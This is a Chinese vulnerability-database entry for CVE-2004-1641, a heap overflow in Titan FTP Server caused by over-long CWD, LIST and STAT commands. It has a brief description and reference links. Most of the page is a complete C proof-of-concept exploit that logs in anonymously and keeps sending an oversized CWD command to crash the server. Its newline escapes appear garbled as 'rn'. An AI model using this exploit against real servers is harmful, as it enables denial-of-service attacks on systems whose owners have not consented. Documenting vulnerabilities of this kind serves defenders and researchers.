Titan FTP远程超长命令堆溢出漏洞
漏洞ID | 1108151 | 漏洞类型 | 边界条件错误 |
发布时间 | 2004-08-31 | 更新时间 | 2005-10-20 |
CVE编号 | CVE-2004-1641 |
CNNVD-ID | CNNVD-200408-228 |
漏洞平台 | Windows | CVSS评分 | 5.0 |
|漏洞来源
|漏洞详情
TitanFTPServer是一款FTP服务程序。TitanFTPServerr在处理包含超长字符串多个命令时存在问题,远程攻击者可以利用这个漏洞对FTP服务程序进行拒绝服务攻击。FTP服务程序对一些包含超长字符串的CWD、LIST、STAT等命令缺少正确的边界缓冲区检查,可导致触发基于堆的溢出,精心构建提交数据,可能以服务进程权限执行任意指令。
|漏洞EXP
/*
*-----------------------------------------------------------------------
*
* titanftp.c - TiTan FTP Server Long Command Heap Overflow PoC Exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author : lion
* : lion cnhonker net
* : www cnhonker com
* Date : 2004-08-30
*
*-----------------------------------------------------------------------
*/
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define FTPPORT 21
#define BUFFSIZE 204800
#define OVERFLOWSIZE 20480
#define SIZE 2048
// function
int create_socket();
int client_connect(int sockfd,char* server,int port);
int writebuf(char *s,int socket,char *buffer,int len);
int readbuf(char *s,int socket,char *buffer,int len);
void checkstatus(char *s);
void loginftp(SOCKET sockfd, char *user, char *pass);
int show = 1;
char recvbuf[BUFFSIZE];
char sendbuf[BUFFSIZE];
void main(int argc, char *argv[])
{
WSADATA wsa;
unsigned short port;
unsigned long ip;
char user[32] = "anonymous";
char pass[32] = "anonymous";
char *command = "CWD ";
SOCKET s;
int size = OVERFLOWSIZE;
printf("TiTan FTP Server Long Command Heap Overflow PoC Exploitrn");
printf("lion lion#cnhonker.net, http://www.cnhonker.comrnn");
if(argc < 3)
{
printf("%s <TargetHost> <TargetPort>rn", argv[0]);
return;
}
WSAStartup(MAKEWORD(2,2),&wsa);
while(1)
{
if((s=create_socket())==0)
{
printf("[-] ERROR: Create socket failed.rn");
return;
}
if(!client_connect(s, argv[1], atoi(argv[2])))
exit(-1);
loginftp(s, user, pass);
memset(sendbuf, 0 ,BUFFSIZE);
memcpy(sendbuf, "pasvrn", 6);
writebuf("Send pasv", s, sendbuf, 6);
readbuf("read", s, recvbuf, BUFFSIZE);
memset(sendbuf, 0, BUFFSIZE);
memset(sendbuf, 'A', size);
memcpy(sendbuf, command, strlen(command));
sendbuf[size-2] ='r';
sendbuf[size-1] ='n';
printf("buff size :%drn%srn", strlen(sendbuf), sendbuf);
show=1;
writebuf("Send overflow buff", s, sendbuf, size);
readbuf("read", s, recvbuf, BUFFSIZE);
//send QUIT
memset(sendbuf,0, BUFFSIZE);
sprintf(sendbuf, "%srn", "QUIT");
writebuf("Send QUIT", s, sendbuf, strlen(sendbuf));
//show=1;
//readbuf("[+] QUIT......", s, recvbuf, BUFFSIZE);
//return;
if(s)
closesocket(s);
Sleep(2000);
}
WSACleanup();
}
int create_socket()
{
int sockfd;
sockfd=socket(AF_INET,SOCK_STREAM,0);
if(sockfd<0)
{
printf("[-] Create socket error.rn");
return(0);
}
return(sockfd);
}
int client_connect(int sockfd,char* server,int port)
{
struct sockaddr_in cliaddr;
struct hostent *host;
if((host=gethostbyname(server))==NULL)
{
printf("[-] ERROR: gethostbyname(%s) errorn", server);
return(-1);
}
memset(&cliaddr, 0, sizeof(struct sockaddr));
cliaddr.sin_family=AF_INET;
cliaddr.sin_port=htons(port);
cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
printf("[+] Trying %s:%d......", server, port);
fflush(stdout);
if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
{
printf("FAILED!rn");
closesocket(sockfd);
return(-1);
}
printf("OK!rn");
return(1);
}
int writebuf(char *s,int socket,char *buffer,int len)
{
int j;
if(s)
{
printf("[+] %s......", s);
fflush(stdout);
}
j=send(socket,buffer,len,0);
if(j<=0)
{
printf("FAILED!rn");
exit(-1);
}
printf("OK!rn");
return j;
}
int readbuf(char *s,int socket,char *buffer,int len)
{
int a,b,i,j=0;
a=b=i=0;
memset(buffer,0,len);
if(s)
{
printf("[+] %s......", s);
fflush(stdout);
}
j=recv(socket,buffer,len-1,0);
if(j <= 0)
{
if(s) printf("FAILED!n");
printf("[-] Recv data error.n");
exit(-1);
}
if(s) printf("OK!n");
buffer[len-1]=' ';
if(show==1) printf("<==rn%s<==rn",buffer);
return j;
}
void checkstatus(char *s)
{
if(s==NULL) exit(-1);
if(isdigit(*s))
{
if(s[0]=='5')
{
printf("[-] Server told:%sn",s);
exit(-1);
}
else return;
}
printf("[-] Server said:%sn",s);
exit(-1);
}
void loginftp(SOCKET sockfd, char *user, char *pass)
{
int j;
show=1;
readbuf("Get FTP Server banner",sockfd, recvbuf, SIZE);
//show=0;
//send USER username
memset(sendbuf,0,BUFFSIZE);
j=sprintf(sendbuf,"%s %srn", "USER", user);
writebuf("Send USER", sockfd,sendbuf,j);
readbuf(NULL,sockfd, recvbuf, BUFFSIZE);
checkstatus(recvbuf);
//send PASS password
memset(sendbuf,0,BUFFSIZE);
j=sprintf(sendbuf,"%s %srn","PASS", pass);
writebuf("Send PASS", sockfd, sendbuf, j);
readbuf(NULL,sockfd,recvbuf, BUFFSIZE);
checkstatus(recvbuf);
printf("[+] User %s logged in.rn", user);
}
// milw0rm.com [2004-08-31]
|参考资料
来源:BID
名称:11069
链接:http://www.securityfocus.com/bid/11069
来源:SECUNIA
名称:12419
链接:http://secunia.com/advisories/12419
来源:XF
名称:titan-long-command-bo(17172)
链接:http://xforce.iss.net/xforce/xfdb/17172
来源:BUGTRAQ
名称:20040829[vulnwatch]TitanFTPServerLongCommandHeapOverflowVulnerability
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=109396159332523&w;=2
相关推荐: Microsoft CONVERT.EXE产生安全权限比预期低的文件系统漏洞
Microsoft CONVERT.EXE产生安全权限比预期低的文件系统漏洞 漏洞ID 1202006 漏洞类型 其他 发布时间 2004-02-03 更新时间 2004-02-03 CVE编号 CVE-2002-0034 CNNVD-ID CNNVD-200…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666